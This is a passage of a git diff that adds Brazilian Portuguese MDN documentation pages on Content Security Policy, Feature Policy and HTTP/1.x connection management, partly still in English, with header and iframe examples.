o CSP</h2> + +<p>Configurar uma Política de Segurança de Conteúdo envolve adicionar o header HTTP <code>Content-Security-Policy </code>a uma página web e adicionar valores para controlar recursos que o user-agent é habilitado para carregar para aquela página. Por exemplo, uma página que faz o upload e exibe imagens poderia permitir imagens de qualquer lugar, mas restringir um form action de um end point específico. Uma política de segurança de conteúdo devidamente concebida ajuda a proteger a página contra ataques do tipo cross site scripting. Este artigo explica como construir tais headers devidamente, e provê exemplos.</p> + +<p>Anteriormente ao Firefox 23, o header HTTP <code>X-Content-Security-Policy </code>era utilizado. Do Firefox 23 em diante começou-se a usar o novo padrão, o header <code>Content-Security-Policy. </code>Durante a transição do header anterior para o novo header, sites podiam enviar ambos os header <code>X-Content-Security-Policy </code>e<code> Content-Security-Policy</code>. Neste caso, o header <code>X-Content-Security-Policy</code> seria ignorado e a política contida no header <code>Content-Security-Policy</code> seria utilizada.</p> + +<h2 id="Especificando_sua_política">Especificando sua política</h2> + +<p>Você pode usar o <code>Content-Security-Policy</code> HTTP header para especificar sua política, dessa forma:</p> + +<pre class="notranslate">Content-Security-Policy: <em>policy</em> +</pre> + +<p>A política é uma string contendo as <a href="/en/Security/CSP/CSP_policy_directives" title="en/Security/CSP/CSP policy directives">diretivas de políticas</a> descrevendo seu Content Security Policy.</p> + +<h2 id="Escrevendo_uma_política">Escrevendo uma política</h2> + +<p>Uma politica é descrita usando uma série de <a href="https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives">diretivas de políticas</a>, cada uma descrevendo uma política para certos tipos de recursos ou áreas de política. Sua política deve incluir uma diretiva de política padrão <code>default-src</code>, que cobre os outros tipos de recursos quando eles não possuem política própria. (Para uma lista completa, veja a descrição da diretiva default-src.) Uma política precisa incluir uma diretiva<code> default-src</code> ou script-src para evitar que scripts inline sejam executados, assim como bloquear o uso de <code>eval()</code>. Uma política precisa incluir uma diretiva <code>default-src</code> ou <code>style-src </code>para restringir estilos inline de serem aplicados a partir de um elemento <code><style></code> ou um <code>.style</code> atributo.</p> + +<p>A sintaxe para uma política é uma string de diretivas separadas por ponto e vírgula <code>;</code>, cada seguindo a sintaxe descrita em <a href="/en/Security/CSP/CSP_policy_directives#Supported_policy_directives" title="en/Security/CSP/CSP policy directives#Supported policy directives">Diretivas de políticas suportadas</a>.</p> + +<h2 id="Exemplos_Casos_de_uso_comuns">Exemplos: Casos de uso comuns</h2> + +<p>A sessão provê alguns exemplos de alguns cenários comuns de política de segurança.</p> + +<h3 id="Exemplo_1">Exemplo 1</h3> + +<p>Um administrador de <em>web site</em> quer que todo o conteúdo venha do mesmo <em>site</em> de origem (excluindo seus subdomínios).</p> + +<pre class="notranslate">Content-Security-Policy: default-src 'self' +</pre> + +<h3 id="Exemplo_2">Exemplo 2</h3> + +<p>Um administrador de <em>web site</em> quer que todo o conteúdo venha do mesmo <em>site</em> de origem, e também de um domínio confiável e seus todos seus subdomínios (não necessariamente precisa ser o mesmo domínio onda a CSP está inserida).</p> + +<pre class="notranslate">Content-Security-Policy: default-src 'self' *.trusted.com +</pre> + +<h3 id="Exemplo_3">Exemplo 3</h3> + +<p>A web site administrator wants to allow users of a web application to include images from any origin in their own content, but to restrict audio or video media to trusted providers, and all scripts only to a specific server that hosts trusted code.</p> + +<pre class="notranslate">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com +</pre> + +<p>Here, by default, content is only permitted from the document's origin, with the following exceptions:</p> + +<ul> + <li>Images may loaded from anywhere (note the "*" wildcard).</li> + <li>Media is only allowed from media1.com and media2.com (and not from subdomains of those sites).</li> + <li>Executable script is only allowed from userscripts.example.com.</li> +</ul> + +<h3 id="Exemplo_4">Exemplo 4</h3> + +<p>A web site administrator for an online banking site wants to ensure that all its content is loaded using SSL, in order to prevent attackers from eavesdropping on requests.</p> + +<pre class="notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com +</pre> + +<p>The server only permits access to documents being loaded specifically over HTTPS through the single origin onlinebanking.jumbobank.com.</p> + +<h3 id="Exemplo_5">Exemplo 5</h3> + +<p>A web site administrator of a web mail site wants to allow HTML in email, as well as images loaded from anywhere, but not JavaScript or other potentially dangerous content.</p> + +<pre class="notranslate">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src * +</pre> + +<p>Note that this example doesn't specify a <a href="/en/Security/CSP/CSP_policy_directives#script-src" title="en/Security/CSP/CSP policy directives#script-src"><code>script-src</code></a>; with the example CSP, this site uses the setting specified by the <a href="/en/Security/CSP/CSP_policy_directives#allow" title="en/Security/CSP/CSP policy directives#allow"><code>default-src</code></a> directive, which means that scripts can be loaded only from the originating server.</p> + +<h2 id="Testando_sua_política">Testando sua política</h2> + +<p>To ease deployment, CSP can be deployed in <a class="link-https" href="http://www.w3.org/TR/CSP/#content-security-policy-report-only-header-field" title="https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-unofficial-draft-20110315.html#report-only-mode">"report-only" mode</a>. The policy is not enforced, but any violations are reported to a provided URI. Additionally, a report-only header can be used to test a future revision to a policy without actually deploying it.</p> + +<p>You can use the <code>Content-Security-Policy-Report-Only</code> HTTP header to specify your policy, like this:</p> + +<pre class="notranslate">Content-Security-Policy-Report-Only: <em>policy</em> +</pre> + +<p>If both a <code>Content-Security-Policy-Report-Only</code> header and a <code>Content-Security-Policy</code> header are present in the same response, both policies are honored. The policy specified in <code>Content-Security-Policy</code> headers is enforced while the <code>Content-Security-Policy-Report-Only</code> policy generates reports but is not enforced.</p> + +<p>Note that the <code>X-Content-Security-Policy-Report-Only</code> header was used before Firefox 23. If both the <code>X-Content-Security-Policy-Report-Only</code> and <code>Content-Security-Policy-Report-Only</code> are sent, the <code>Content-Security-Policy-Report-Only</code> will be used and the <code>X-Content-Security-Policy-Report-Only</code> will be ignored.</p> + +<p>The <a href="https://addons.mozilla.org/en-us/firefox/addon/newusercspdesign/" title="https://addons.mozilla.org/en-us/firefox/addon/newusercspdesign/">UserCSP Addon</a> also helps test and develop Content Security Policies for a site.</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en/Security/CSP/Introducing_Content_Security_Policy" title="en/Security/CSP/Introducing Content Security Policy">Introducing Content Security Policy</a></li> + <li><a href="/en/Security/CSP/CSP_policy_directives" title="en/Security/CSP/CSP policy directives">CSP policy directives</a></li> + <li><a href="/en/Security/CSP/Using_CSP_violation_reports" title="en/Security/CSP/Using CSP violation reports">Using CSP violation reports</a></li> + <li><a class="external" href="http://brandon.sternefamily.net/posts/2010/10/content-security-policy-recommendation-bookmarklet/" title="http://brandon.sternefamily.net/posts/2010/10/content-security-policy-recommendation-bookmarklet/">Content Security Policy recommendation bookmarklet</a></li> +</ul> + +<div class="noinclude"> +<p>{{ languages( { "ja": "ja/Security/CSP/Using_Content_Security_Policy" } ) }}</p> +</div> diff --git a/files/pt-br/web/http/feature_policy/index.html b/files/pt-br/web/http/feature_policy/index.html new file mode 100644 index 0000000000..fbbf9b5d3e --- /dev/null +++ b/files/pt-br/web/http/feature_policy/index.html @@ -0,0 +1,172 @@ +--- +title: Feature Policy +slug: Web/HTTP/Feature_Policy +tags: + - Feature Policy + - Feature-Policy + - HTTP + - Introduction + - NeedsTranslation + - Overview + - Reference + - Security + - TopicStub + - access + - delegation + - header + - permission +translation_of: Web/HTTP/Feature_Policy +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary">Feature Policy allows web developers to selectively enable, disable, and modify the behavior of certain features and APIs in the browser. It is similar to {{Glossary("CSP", "Content Security Policy")}} but controls features instead of security behavior.</span></p> + +<div class="note"> +<p>The <code>Feature-Policy</code> header has now been renamed to <code>Permissions-Policy</code> in the spec, and this article will eventually be updated to reflect that change.</p> +</div> + +<h2 id="In_a_nutshell">In a nutshell</h2> + +<p>Feature Policy provides a mechanism to explicitly declare what functionality is used (or not used), throughout your website. This allows you to lock in best practices, even as the codebase evolves over time — as well as to more safely compose third-party content — by limiting which features are available.</p> + +<p>With Feature Policy, you opt-in to a set of "policies" for the browser to enforce on specific features used throughout a website. These policies restrict what APIs the site can access or modify the browser's default behavior for certain features.</p> + +<p>Examples of what you can do with Feature Policy:</p> + +<ul> + <li>Change the default behavior of autoplay on mobile and third party videos.</li> + <li>Restrict a site from using sensitive APIs like camera or microphone.</li> + <li>Allow iframes to use the <a href="/en-US/docs/Web/API/Fullscreen_API">fullscreen API</a>.</li> + <li>Block the use of outdated APIs like <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">synchronous XHR</a> and {{domxref("document.write()")}}.</li> + <li>Ensure images are sized properly and are not too big for the viewport.</li> +</ul> + +<h2 id="Concepts_and_usage">Concepts and usage</h2> + +<p>Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.</p> + +<p>For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.</p> + +<h3 id="Writing_a_policy">Writing a policy</h3> + +<p>A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.</p> + +<h3 id="Specifying_your_policy">Specifying your policy</h3> + +<p>Feature Policy provides two ways to specify policies to control features:</p> + +<ul> + <li>The {{httpheader("Feature-Policy")}} HTTP header.</li> + <li>The {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes.</li> +</ul> + +<p>The primary difference between the HTTP header and the <code>allow</code> attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.</p> + +<p>For more details see <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>.</p> + +<h3 id="Inferring_the_policy">Inferring the policy</h3> + +<p>Scripts can programatically query information about the feature policy via the {{DOMxRef("FeaturePolicy")}} object located at either {{DOMxRef("Document.featurePolicy")}} or {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.</p> + +<h2 id="Types_of_policy-controlled_features">Types of policy-controlled features</h2> + +<p>Though Feature Policy provides control of multiple features using a consistent syntax, the behavior of policy controlled features varies and depends on several factors.</p> + +<p>The general principle is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled. Newly introduced features may have an explicit API to signal the state. Existing features that later integrate with Feature Policy will typically use existing mechanisms. Some approaches include:</p> + +<ul> + <li>Return "permission denied" for JavaScript APIs that require user permission grants.</li> + <li>Return <code>false</code> or error from an existing JavaScript API that provides access to feature.</li> + <li>Change the default values or options that control the feature behavior.</li> +</ul> + +<p>The current set of policy-controlled features fall into two broad categories:</p> + +<ul> + <li>Enforcing best practices for good user experiences.</li> + <li>Providing granular control over sensitive or powerful features.</li> +</ul> + +<h3 id="Best_practices_for_good_user_experiences">Best practices for good user experiences</h3> + +<p>There are several policy-controlled features to help enforce best practices for providing good performance and user experiences.</p> + +<p>In most cases, the policy-controlled features represent functionality that when used will negatively impact the user experience. To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. Best practices are then enforced by using policies that disable the policy-controlled features. For more details see "Enforcing best practices for good user experiences".</p> + +<p>The features include:</p> + +<ul> + <li>Layout-inducing animations</li> + <li>Legacy image formats</li> + <li>Oversized images</li> + <li>Synchronous scripts</li> + <li>Synchronous XMLHTTPRequest</li> + <li>Unoptimized images</li> + <li>Unsized media</li> +</ul> + +<h3 id="Granular_control_over_certain_features">Granular control over certain features</h3> + +<p>The web provides functionality and APIs that may have privacy or security risks if abused. In some cases, you may wish to strictly limit how such functionality is used on a website. There are policy-controlled features to allow functionality to be enabled/disabled for specific origins or frames within a website. Where available, the feature integrates with the Permissions API, or feature-specific mechanisms to check if the feature is available.</p> + +<p>The features include (see <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives">Features list</a>):</p> + +<ul> + <li>Accelerometer</li> + <li>Ambient light sensor</li> + <li>Autoplay</li> + <li>Camera</li> + <li>Encrypted media</li> + <li>Fullscreen</li> + <li>Geolocation</li> + <li>Gyroscope</li> + <li>Magnetometer</li> + <li>Microphone</li> + <li>Midi</li> + <li>PaymentRequest</li> + <li>Picture-in-picture</li> + <li>USB</li> + <li>VR / XR</li> +</ul> + +<h2 id="Examples">Examples</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> + <li>See <a href="http://feature-policy-demos.appspot.com/">Feature Policy Demos</a> for example usage of many policies.</li> +</ul> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}</td> + <td>{{Spec2("Feature Policy")}}</td> + <td>Initial definition. Defines the {{httpheader("Feature-Policy")}} header. Directives are defined in the specs for the features they control. See individual directive pages for details.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("http.headers.Feature-Policy")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li> + <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li> + <li>{{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes</li> + <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction to Feature Policy</a></li> + <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies on www.chromestatus.com</a></li> + <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (Chrome Developer Tools extension)</a></li> + <li><a href="/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a></li> +</ul> diff --git a/files/pt-br/web/http/feature_policy/using_feature_policy/index.html b/files/pt-br/web/http/feature_policy/using_feature_policy/index.html new file mode 100644 index 0000000000..d284406b39 --- /dev/null +++ b/files/pt-br/web/http/feature_policy/using_feature_policy/index.html @@ -0,0 +1,156 @@ +--- +title: Using Feature Policy +slug: Web/HTTP/Feature_Policy/Using_Feature_Policy +tags: + - Acesso + - Delegação + - Feature Policy + - Feature-Policy + - HTTP + - Permissões + - Privilegios + - Referencia + - Segurança + - cabeçalho +translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy +--- +<div>{{HTTPSidebar}}</div> + +<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a> allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.</p> + +<p>For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.</p> + +<div class="note"> +<p>The <code>Feature-Policy</code> header has now been renamed to <code>Permissions-Policy</code> in the spec, and this article will eventually be updated to reflect that change.</p> +</div> + +<h2 id="Escrevendo_a_política">Escrevendo a política</h2> + +<p>A política é descrita usando um conjunto de diretivas de políticas individuais. A diretiva de política é uma combinação de uma funcionalidade com nome definido, e uma lista de origens que possuem permissão para usar esta política. Funcionalidades dentro de uma política são separadas por ponto e vírgula.</p> + +<h3 id="allowlist">allowlist</h3> + +<p>Uma lista de permissão é a lista de origens que pega um ou mais dos seguintes valores, separados por espaços:</p> + +<ul> + <li><code>*</code>: A funcionalidade será permitida neste documento, e todos os contextos de navegação aninhados (<em>iframes</em>) independente de sua origem.</li> + <li><code>'self'</code>: A funcionalidade será permitida no contexto, e em todos os contextos de navegação aninhados (<em>iframes</em>) de mesma origem.</li> + <li><code>'src'</code>: (Em um <em>iframe</em> com atributo <em>allow</em> somente) A funcionalidade será permitida neste enquadramento, enquanto o documento carregado nele venha da mesma origem da URL no atributo {{HTMLElement('iframe','src','#Attributes')}} do enquadramento .</li> + <li><code>'none'</code>: A funcionalidade é desabilitada em alto nível e nos contextos de navegação aninhados.</li> + <li><origin(s)>: A funcionalidade é permitida em origens especificas (por exemplo, https://example.com). Origens devem ser separadas por um espaço.</li> +</ul> + +<p>Os valores <code>*</code> (permitido para todas as origens) ou <code>'none'</code> (desabilitado para todas as origens) podem ser usados sozinhos, enquanto <code>'self'</code> e <code>'src'</code> podem ser usados com uma ou mais origens.</p> + +<p>Funcionalidade são definidas para cada uma ter uma lista de permissão padrão, que é uma das:</p> + +<ul> + <li><code>*</code>: A funcionalidade é permitida por padrão em alto nível em contextos de navegação e todos os contextos de navegação aninhados (<em>iframes</em>).</li> + <li><code>'self'</code>: A funcionalidade é permitida por padrão em contextos de navegação de alto nível e em contextos de navegação aninhados (<em>iframes</em>) na mesma origem. A funcionalidade não é permitida em documentos entre origens em contextos de navegação aninhados.</li> + <li><code>'none'</code>: A funcionalidade é desabilitada em alto nível e em contextos de navegação aninhados.</li> +</ul> + +<h2 id="Especificando_sua_política">Especificando sua política</h2> + +<p>Feature Policy provides two ways to specify policies to control features:</p> + +<ul> + <li>The {{httpheader('Feature-Policy')}} HTTP header.</li> + <li>The {{htmlattrxref("allow", "iframe")}} attribute on {{htmlelement("iframe")}}s.</li> +</ul> + +<p>The primary difference between the HTTP header and the <code>allow</code> attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.</p> + +<h3 id="The_Feature-Policy_HTTP_header">The Feature-Policy HTTP header</h3> + +<p>You can send the <code>Feature-Policy</code> HTTP header with the response of a page. The value of this header is a policy to be enforced by the browser for the given page. It has the following structure.</p> + +<pre class="brush: bash notranslate">Feature-Policy: <feature name> <allowlist of origin(s)></pre> + +<p>For example, to block all content from using the Geolocation API across your site:</p> + +<pre class="brush: bash notranslate">Feature-Policy: geolocation 'none'</pre> + +<p>Several features can be controlled at the same time by sending the HTTP header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.</p> + +<p>For example, the following are equivalent:</p> + +<pre class="brush: bash notranslate">Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *; + +Feature-Policy: unsized-media 'none' +Feature-Policy: geolocation 'self' https://example.com +Feature-Policy: camera *; +</pre> + +<h3 id="The_iframe_allow_attribute">The iframe allow attribute</h3> + +<p>The second way to use Feature Policy is for controlling content within an iframe. Use the <code>allow</code> attribute to specify a policy list for embedded content.</p> + +<p>For example, allow all browsing contexts within this iframe to use fullscreen:</p> + +<pre class="brush: html notranslate"><iframe src="https://example.com..." allow="fullscreen"></iframe></pre> + +<p>This is equivalent to:</p> + +<pre class="brush: html notranslate"><iframe src="https://example.com..." allow="fullscreen 'src'"></iframe></pre> + +<p>This example allows <code><iframe></code> content on a particular origin to access the user's location:</p> + +<pre class="brush: html notranslate"><iframe src="https://google-developers.appspot.com/demos/..." + allow="geolocation https://google-developers.appspot.com"></iframe> +</pre> + +<p>Similar to the HTTP header, several features can be controlled at the same time by specifying a semicolon-separated list of policy directives.</p> + +<p>For example, this blocks the <code><iframe></code> from using the camera and microphone:</p> + +<pre class="brush: html notranslate"><iframe allow="camera 'none'; microphone 'none'"> +</pre> + +<h2 id="Inheritance_of_policy_for_embedded_content">Inheritance of policy for embedded content</h2> + +<p>Scripts inherit the policy of their browsing context, regardless of their origin. That means that top-level scripts inherit the policy from the main document.</p> + +<p>All iframes inherit the policy of their parent page. If the iframe has an <code>allow</code> attribute, the policies of the parent page and the <code>allow</code> attribute are combined, using the most restrictive subset. For an iframe to have a feature enabled, the origin must be in the allowlist for both the parent page and the allow attribute.</p> + +<p>Disabling a feature in a policy is a one-way toggle. If a feature has been disabled for a child frame by its parent frame, the child cannot re-enable it, and neither can any of the child's descendants.</p> + +<h2 id="Enforcing_best_practices_for_good_user_experiences">Enforcing best practices for good user experiences</h2> + +<p>It's difficult to build a website that uses all the latest best practices and provides great performance and user experiences. As the website evolves, it can become even harder to maintain the user experience over time. You can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions.</p> + +<p>There are several policy-controlled features designed to represent functionality that can negatively impact the user experience. These features include:</p> + +<ul> + <li>Layout-inducing Animations</li> + <li>Unoptimized (poorly compressed) images</li> + <li>Oversized images</li> + <li>Synchronous scripts</li> + <li>Synchronous XMLHttpRequest</li> + <li>Unsized media</li> +</ul> + +<p>To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. That is, the default allowlist is <code>'*'</code> for each feature. Preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.</p> + +<p>For new content, you can start developing with a policy that disables all the features. This approach ensures that none of the functionality is introduced. When applying a policy to existing content, testing is likely required to verify it continues to work as expected. This is especially important for embedded or third-party content that you do not control.</p> + +<p>To turn on the enforcement of all the best practices, specify the policy as below.</p> + +<p>Send the following the HTTP header:</p> + +<pre class="brush: bash notranslate">Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';</pre> + +<p>Using the <code><iframe></code> <code>allow</code> attribute:</p> + +<pre class="brush: html notranslate"><iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe></pre> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> + <li>{{HTTPHeader("Feature-Policy")}} header</li> + <li>{{HTMLElement('iframe','allow','#Attributes')}} attribute on iframes</li> + <li>{{HTTPHeader("Content-Security-Policy")}} header</li> + <li>{{HTTPHeader("Referrer-Policy")}} header</li> + <li><a href="/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a></li> +</ul> diff --git a/files/pt-br/web/http/gerenciamento_de_conexão_em_http_1.x/index.html b/files/pt-br/web/http/gerenciamento_de_conexão_em_http_1.x/index.html new file mode 100644 index 0000000000..c67e52b062 --- /dev/null +++ b/files/pt-br/web/http/gerenciamento_de_conexão_em_http_1.x/index.html @@ -0,0 +1,94 @@ +--- +title: Gerenciamento de Conexão em HTTP/1.x +slug: Web/HTTP/Gerenciamento_de_Conexão_em_HTTP_1.x +tags: + - Guide + - Guía + - HTTP + - Short-lived + - Web + - conexões + - performace + - sharding +translation_of: Web/HTTP/Connection_management_in_HTTP_1.x +--- +<p class="summary">Gerenciamento de Conexão é um tema central em HTTP: abertura e manutenção de conexões e em grande parte tem impacto sobre o desempenho de Web sites e aplicações Web. Existem vários modelos, em HTTP/1.x: <em>ligações de curta duração, conexões persistentes, canalização e HTTP (HTTP pipelining)</em>.</p> + +<p>HTTP é um protocolo de transporte que fornece conexão entre o cliente e o servidor geralmente depende de TCP. Em sua infância, HTTP usava um único modelo para lidar com tais conexões. Sua conexão é de curta duração. Essas conexões foram de curta duração: criado um novo cada vez que enviar um pedido necessário, e fechado uma vez a resposta tinha sido recebida.</p> + +<p>Este simples modelo realiza uma limitação inata em desempenho: a abertura de cada uma das conexões TCP é uma operação de consumo de recursos.Várias mensagens devem ser trocadas entre o cliente e o servidor. Latência de rede e largura de banda afetam o desempenho quando precisa de uma solicitação de envio. Páginas de Web modernas exigem muitos pedidos (uma dúzia ou mais) para servir a quantidade de informação necessária, provando este modelo anterior ineficiente.</p> + +<p>Dois novos modelos foram criados no HTTP/1.1.</p> + +<ol> + <li><u>O modelo de conexão persistente</u>, mantém conexões abertas entre solicitações sucessivas, reduzindo o tempo necessário para abrir novas conexões.</li> + <li><u>O modelo de pipelining HTTP</u>, vai um passo além, enviando várias solicitações sucessivas sem nem esperar por uma resposta, reduzindo em grande parte a latência da rede.</li> +</ol> + +<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p> + +<div class="note"> +<p>HTTP/2 Adiciona modelos adicionais para o gerenciamento de conexão.</p> +</div> + +<p>Um ponto importante para observar, que gerenciamento de conexão HTTP, aplica-se para a conexão entre dois nós consecutivos, que é o <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a> e não <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#e2e">end-to-end</a> . O modelo usado em conexões entre um cliente e seu primeiro proxy pode diferir do modelo entre um proxy e o servidor de destino (ou qualquer proxies intermédios). Os cabeçalhos HTTP envolvidos na definição do modelo de conexão, como {{HTTPHeader("Connection")}} e {{HTTPHeader("Keep-Alive")}}, são <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>, cabeçalhos com seus valores poderão ser alterados por nós intermediários.</p> + +<h2 id="Short-lived_connections_(Conexões_de_curta_duração)">Short-lived connections (Conexões de curta duração)</h2> + +<p>O modelo original de HTTP e o padrão HTTP/1.0, é short-lived connections (conexões de curta duração). Cada solicitação HTTP é concluída na sua própria conexão; Isto significa que um handshake TCP acontece antes de cada solicitação HTTP, e estas são serializadas.</p> + +<p>O handshake TCP em si é demorado, mas uma conexão TCP adapta-se a sua carga, tornando-se mais eficiente com mais conexões sustentadas (ou aquecidas). Conexões de curta duração não fazem uso desse recurso de eficiência do TCP, e degrada o desempenho do ideal persistindo para transmitir mais de uma conexão nova, frio.</p> + +<p>cabeçalhos com seus valores poderão ser alterados por nós intermediários. (if there is no {{HTTPHeader("Connection")}} header, or if its value is set to <code>close</code>). Em HTTP/1.1 este modelo é apenas usado quando o {{HTTPHeader("Connection")}}cabeçalho é enviado com um valor de fechamento.</p> + +<div class="note">A menos que lidemos com um sistema muito antigo, que não suporta uma conexão persistente, não há nenhuma razão convincente para usar este modelo.</div> + +<h2 id="Conexões_Persistentes">Conexões Persistentes</h2> + +<p>Short-lived connections (conexões de curta duração) tem dois grandes problemas: o tempo necessário para estabelecer uma nova conexão é significativo, e desempenho da conexão TCP subjacente melhora somente quando esta conexão tem sido usado há algum tempo (conexão quente). Para aliviar estes problemas, foi concebido o conceito de uma conexão persistente, mesmo antes de HTTP/1.1. Alternativamente, este pode ser chamado uma conexão keep-alive.</p> + +<p>É uma conexão persistente que permanece aberto por um período e pode ser reutilizado por vários pedidos, salvando a necessidade de um novo handshake TCP, e utilizando recursos para melhorar o desempenho do TCP. Esta conexão não vai ficar aberta para sempre: conexões ociosas são fechadas depois de algum tempo (um servidor pode usar o cabeçalho {{HTTPHeader("Keep-Alive")}} para especificar um tempo mínimo de conexão que deve ser mantido aberto).</p> + +<p>Conexões persistentes também têm desvantagens, mesmo quando em marcha lenta eles consomem recursos do servidor e sob pesada carga, pode efetuar-se {{glossary("DoS attack", "DoS attacks")}}. Em tais casos, usar conexões não-persistentes, que estão fechadas, assim como elas estão ociosas, pode fornecer um melhor desempenho.HTTP/1.0 as conexões sem persistencia por default.Setting {{HTTPHeader("Connection")}} para algo diferente de fechar, costuma após repetir, irá torná-los persistente.</p> + +<p>Em HTTP/1.1, persistencia é o padrão e o cabeçalho não é mais necessário (mas ele é adicionado frequentemente como uma medida defensiva contra casos que exigem um fallback para HTTP/1.0).</p> + +<h2 id="HTTP_pipelining">HTTP pipelining</h2> + +<div class="note"> +<p>HTTP o pipelining não é ativado por padrão em navegadores modernos:</p> + +<ul> + <li>Buggy <a href="https://en.wikipedia.org/wiki/Proxy_server"> proxies</a> são ainda comuns e eles levam a comportamentos estranhos e erráticos que desenvolvedores Web não podem prever e diagnosticar facilmente.</li> + <li>Pipelining é complexo para implementar corretamente: o tamanho do recurso a ser transferido, a efetiva <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> que será usado, bem como a largura de banda efetiva, têm uma incidência direta na melhoria fornecida pelo pipeline. Sem conhecer eles, mensagens importantes podem ser atrasadas por detrás aqueles sem importância. A noção de importante mesmo evolui durante o layout de página! Pipeline HTTP, portanto, traz uma melhoria marginal na maioria dos casos apenas.</li> + <li>Pipelining está sujeito à problema <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a>.</li> +</ul> + +<p>Por estas razões, o pipelining tem sido substituído por um algoritmo melhor, multiplexação, que é usado pelo HTTP/2.</p> +</div> + +<p>Por padrão, <a href="/en/HTTP" title="en/HTTP">HTTP</a> as solicitações são emitidas sequencialmente. A próxima solicitação só é emitida depois que recebeu a resposta para a solicitação atual. Como eles são afetados pelas latências de rede e as limitações de largura de banda, isso pode resultar em atrasos significativos antes que a próxima solicitação é vista pelo servidor.</p> + +<p>Pipelining é o processo para enviar solicitações sucessivas, sobre a mesma conexão persistente, sem esperar pela resposta. Isso evita a latência da conexão. Teoricamente, desempenho também poderia ser melhorado se duas solicitações HTTP para ser embalado na mesma mensagem TCP. O <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> típico (tamanho máximo de segmento), é grande o suficiente para conter várias solicitações simples, embora a demanda em tamanho de solicitações HTTP continua a crescer.</p> + +<p>Nem todos os tipos de solicitações HTTP podem ser intermitente: only {{glossary("idempotent")}} método, isso é {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} e {{HTTPMethod("DELETE")}} pode ser repetido com segurança: uma falha pode acontecer, o conteúdo do pipeline simplesmente pode ser repetido.</p> + +<p>Hoje, cada proxy HTTP/1.1-compatível e servidor devem apoiar o pipelining, embora muitos têm limitações na prática: uma razão significativa, nenhum navegador moderno ativa esse recurso por padrão.</p> + +<h2 id="Domain_sharding">Domain sharding</h2> + +<div class="note"> +A menos que você tem uma necessidade muito específica e imediata, não use esta técnica depreciada; Mude para HTTP/2 ao invéz. Em HTTP/2, sharding domínio não é mais útil: 